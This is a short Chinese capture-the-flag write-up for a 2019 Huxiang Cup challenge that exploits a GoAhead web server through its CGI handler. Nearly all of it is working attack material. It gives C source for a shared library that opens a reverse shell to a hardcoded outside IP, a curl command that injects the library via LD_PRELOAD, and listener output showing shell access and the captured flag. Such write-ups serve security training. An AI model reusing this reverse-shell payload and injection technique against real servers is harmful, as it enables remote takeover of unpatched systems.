

大数据

发表于 2021-01-04 分类于 [Challenge](#) , [2019](#) , [湖湘杯](#) , [创新](#)
[Challenge](#) | [2019](#) | [湖湘杯](#) | [创新](#) | [大数据](#)

[点击此处](#)获得更好的阅读体验

访问网站之后从源码中看到一个cgi链接，点进去发现用的GoAhead，所以直接参考[泽哥的文章](#)，exp直接秒掉

```
1 #include<stdio.h>
2 #include<stdlib.h>
3 #include<sys/socket.h>
4 #include<netinet/in.h>
5 char *server_ip="202.182.115.203";
6 uint32_t server_port=7771;
7 static void reverse_shell(void) __attribute__((constructor));
8 static void reverse_shell(void)
9 {
10 //socket initialize
11 int sock = socket(AF_INET, SOCK_STREAM, 0);
12 struct sockaddr_in attacker_addr = {0};
13 attacker_addr.sin_family = AF_INET;
14 attacker_addr.sin_port = htons(server_port);
15 attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
16 //connect to the server
17 if(connect(sock, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr))!=0)
18 exit(0);
19 //dup the socket to stdin, stdout and stderr
20 dup2(sock, 0);
21 dup2(sock, 1);
22 dup2(sock, 2);
23 //execute /bin/sh to get a shell
24 execve("/bin/sh", 0, 0);
25 }
```

exp的使用

```
1 gcc -shared -fPIC ./exp.c -o exp.so
2 curl -X POST --data-binary @exp.so http://183.129.189.62:14000/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0
```

之后服务器上进行监听即可

```
1 root@zeros11:~# nc -lvp 7771
2 Listening on [0.0.0.0] (family 0, port 7771)
3 Connection from [183.129.189.58] port 7771 [tcp/*] accepted (family 2, sport 54228)
4 cat /start.sh
5 #!/bin/sh
6 # Add your startup script
7 # DO NOT DELETE
8 # /etc/init.d/xinetd start;
9 echo "$1";
10 echo "$1" > /home/ctf/flag;
11 while :
12 do
13 /usr/sbin/chroot --userspec 1000:1000 / /home/ctf/goahead -v --home /home/ctf/test /home/ctf/test/web 9999
14 done
15 cat /home/ctf/flag
16 flag{2392862153ef30405ef5c972139102be}
```

- 本文作者：CTFHub
- 本文链接：<https://writeup.ctfhub.com/Challenge/2019/湖湘杯/创新/qvrfgQUkN5jbmRuXSwwQUXU.html>
- 版权声明：本博客所有文章除特别声明外，均采用 [BY-NC-SA](#) 许可协议。转载请注明出处！

[#Challenge](#) [#2019](#) [#湖湘杯](#) [#创新](#)
[云安全](#)
[Copperstudy](#)